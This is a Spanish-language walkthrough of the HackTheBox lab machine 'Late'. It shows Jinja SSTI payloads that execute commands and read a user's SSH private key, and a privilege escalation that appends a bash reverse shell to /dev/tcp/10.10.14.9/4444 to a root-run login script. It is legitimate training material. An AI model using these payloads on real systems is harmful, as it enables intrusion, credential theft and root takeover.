Late es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Late 10.10.11.156 a /etc/hosts como late.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sV -sC -oA enumeration/nmap1 -Pn 10.10.11.156 Nmap scan report for 10.10.11.156 Host is up (0.095s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA) | 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA) |_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Late - Best online image tools Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jul 24 07:56:47 2022 -- 1 IP address (1 host up) scanned in 23.27 seconds |
Observamos poca cosa en esta máquina, un puerto 22 para el que no tenemos credenciales y un portal web en el puerto 80 servido por nginx.
Enumeración
Comenzamos revisando el portal web en el puerto 80 y vemos la siguiente página
Se trata de un simple portal web, revisamos un poco por encima y encontramos un subdominio revisando el código fuente de la aplicación
Así que vamos a añadir el dominio images.late.htb a nuestro fichero /etc/hosts y accederemos al mismo, viendo una página de conversión de imagen a texto que luce como se ve en la siguiente captura de pantalla
Para ver como funciona la aplicación vamos a crear una imagen con el siguiente texto
|
1 2 |
esto es una prueba de la conversion de imagen a texto |
Y subimos la imagen. La aplicación nos devolverá un fichero de texto llamado results-1.txt con el texto detectado en nuestra imagen entre las etiquetas <p></p>
Revisando la aplicación basada en Flask y navegando un poco encontramos una vulnerabilidad en SSTI, así que vamos a crear otra imagen para tratar de explotar la misma.
Hacemos una captura del siguiente texto
|
1 2 3 |
esto es una prueba de ssti {{ 4*4 }} prueba ssti |
Y la subimos al portal, obteniendo el siguiente resultado
Y efectivamente es vulnerable a esta vulnerabilidad así que vamos a ir más allá.
Vamos a tratar de descubrir el usuario sobre el cual está siendo ejecutada la aplicación con el siguiente payload
|
1 2 3 |
prueba {{ namespace.__init__.__globals__.os.popen('id').read() }} prueba |
Y el resultado es el siguiente:
Ya tenemos el usuario, y se trata de svc_acc, así que ahora vamos a tratar de obtener acceso a la misma, después de alguna que otra prueba descubrimos que tiene la clave ssh almacenada en su home así que vamos a descargarnos la misma con el siguiente payload
|
1 |
{{ namespace.__init__.__globals__.os.popen("~/.ssh/id_rsa").read() }} |
Con la clave en nuestro poder nos queda probar el acceso y entrar a la máquina
|
1 2 3 4 5 6 7 8 9 |
$ ssh -i keys/svc_acc.pem svc_acc@10.10.11.156 The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established. ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts. svc_acc@late:~$ id uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc) svc_acc@late:~$ |
Obteniendo la flag de user
Ahora que ya estamos dentro, simplemente obtenemos la flag del usuario svc_acc
|
1 2 3 |
svc_acc@late:~$ cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxx4 svc_acc@late:~$ |
Escalado de privilegios
Una vez dentro enumeramos la máquina para encontrar posibles formas de escalar privilegios, y observamos un proceso interesante con pspy
Si analizamos el comportamiento, cada vez que un usuario se loguea en el sistema, root, realiza la siguiente ejecución
|
1 |
/bin/bash /usr/local/sbin/ssh-alert.sh |
Así que vamos a ver que hay en ese fichero
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
svc_acc@late:/tmp$ cat /usr/local/sbin/ssh-alert.sh #!/bin/bash RECIPIENT="root@late.htb" SUBJECT="Email from Server Login: SSH Alert" BODY=" A SSH login was detected. User: $PAM_USER User IP Host: $PAM_RHOST Service: $PAM_SERVICE TTY: $PAM_TTY Date: `date` Server: `uname -a` " if [ ${PAM_TYPE} = "open_session" ]; then echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT} fi |
El script manda un mail a root alertando cuando un usuario se loguea así que vamos a ver si podemos editar el mismo, pero no tenemos permisos para ello, en cambio vemos que dispone del bit de append por lo que podemos añadir contenido personalizado al mismo.
|
1 2 |
svc_acc@late:/tmp$ lsattr /usr/local/sbin/ssh-alert.sh -----a--------e--- /usr/local/sbin/ssh-alert.sh |
Visto esto, añadimos una reverse shell al fichero
|
1 |
echo "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh |
Abrimos una nueva sesión en la máquina y automáticamente obtenemos root en nuestra escucha
|
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from late.htb [10.10.11.156] 51832 bash: cannot set terminal process group (3893): Inappropriate ioctl for device bash: no job control in this shell root@late:/# root@late:/# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ya estamos dentro como root, así que simplemente cogemos nuestra flag para terminar la máquina
|
1 2 3 4 |
root@late:/# cat /root/root.txt cat /root/root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1 root@late:/# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
